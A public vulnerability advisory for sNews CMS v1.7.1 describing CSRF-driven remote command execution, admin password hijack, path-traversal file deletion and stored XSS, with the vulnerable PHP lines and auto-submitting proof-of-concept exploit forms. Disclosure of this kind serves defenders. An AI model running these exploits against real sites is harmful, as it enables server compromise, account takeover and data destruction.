BugTraq
sNews CMS v1.7.1 Remote Command Execution / CSRF / XSS Jun 19 2016 05:00AM
hyp3rlinx lycos com
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SNEWS-RCE-CSRF-XSS.txt

[+] ISR: APPARITIONSEC

Vendor:
============
snewscms.com

Product:
================
sNews CMS v1.7.1

Vulnerability Type:
===================================
Persistent Remote Command Execution
Cross Site Request Forgeries (CSRF)
Persistent XSS

CVE Reference:
==============
N/A

Vulnerability Details:
======================

If an authenticated user happens to stumble upon an attackers webpage or click an infected link they have a chance to get the following prizes,

1) Persistent Remote Code Execution
2) Cross Site Request Forgeries
3) Persistent XSS

sNews has feature that allows PHP functions to be inserted for articles by authenticated users under "Edit Article". However, there is no
CSRF token/checks to prevent unauthorized HTTP requests to be made on behalf of that user. Furthermore, these commands will get stored in MySQL
database in the 'articles' table. So each time that sNews webpage is visited it will execute.

e.g.

CSRF / RCE Under "Edit Article" Admin area.

[func]system:|:"calc.exe"[/func]

On line no 3270 of "snews.php" there is no input filtering allowing arbitrary system calls.

$returned = call_user_func_array($func[0], explode(',',$func[1]));

////////////////////////////////////////////////////////////////////////
////////////////////

CSRF / Hijack SNews CMS accounts, the username however must be known in advance, if known then that lucky user wins a changed password!.

////////////////////////////////////////////////////////////////////////
////////////////////

CSRF / arbitrary file deletion, we can delete arbitrary files in the webroot which we can use to bypass access controls like ".htaccess" file.
allowing attackers to read/access files from those affected directories.

On line 3080 "snews.php" direct usage of untrusted user input into the PHP "unlink" function which deletes any files the attacker wants.

if (isset($_GET['task']) == 'delete') {
$file_to_delete = $_GET['folder'].'/'.$_GET['file'];
@unlink($file_to_delete);
echo notification(0,'','snews_files');

////////////////////////////////////////////////////////////////////////
///////////////////

Persistent XSS entry point also exists in same "Edit Article" Admin area, but why bother when we have RCE option.

Exploit code(s):
===============

Remote Command Execution pop "calc.exe" POC.

<form id="CSRF_RCE_PRIZE" method="post" action="http://localhost/snews1.7.1/?action=process&task=admin_article&i
d=2">
<input type="hidden" name="title" value="Remote Command Execution" />
<input type="hidden" name="seftitle" value="remote-command-execution" />
<input type="hidden" name="text" value='[func]system:|:"calc.exe"[/func]' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fposting_year" value="2016" />
<input type="hidden" name="fposting_hour" value="6" />
<input type="hidden" name="fposting_minute" value="16" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="save" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
<script>document.getElementById('CSRF_RCE_PRIZE').submit()</script>
</form>

After we make HTTP request for the booby trapped article and KABOOM.

http://localhost/snews1.7.1/uncategorized/remote-command-execution/

CSRF - Account Hijack
=====================

<form id="CSRF-CHG-PASSWD-PRIZE" method="post" action="http://localhost/snews1.7.1/?action=process&task=changeup">
<input type="hidden" name="uname" value="admin" />
<input type="hidden" name="pass1" value="PWN3D123" />
<input type="hidden" name="pass2" value='PWN3D123' />
<input type="hidden" name="task" value="changeup" />
<input type="hidden" name="submit_pass" value="Save" />
<script>document.getElementById('CSRF-CHG-PASSWD-PRIZE').submit()</scrip
t>
</form>

CSRF - Arbitrary File Deletion
===============================

1) Create file in htdocs / web root as a test e.g. "DELETEME.php"

2) Visit following URL as authenticated user.

http://localhost/snews1.7.1/?action=snews_files&task=delete&folder=Patch
es Log&file=../../../DELETEME.php

3) Files gone!

Persistent XSS
===============

<form id="XSS" method="post" action="http://localhost/snews1.7.1/?action=process&task=admin_article&i
d=2">
<input type="hidden" name="title" value="XSS" />
<input type="hidden" name="seftitle" value="XSS" />
<input type="hidden" name="text" value="[include]<script>alert(document.cookie)</script>[/include]" />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fposting_year" value="2016" />
<input type="hidden" name="fposting_hour" value="6" />
<input type="hidden" name="fposting_minute" value="16" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="save" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
<script>document.getElementById('XSS').submit()</script>
</form>

Disclosure Timeline:
=================================
Vendor Notification: No Replies
June 19, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
Critical
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Description:
================================================
Request Method(s): [+] GET / POST

Vulnerable Product: [+] snews v1.7.1
===========================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

by hyp3rlinx

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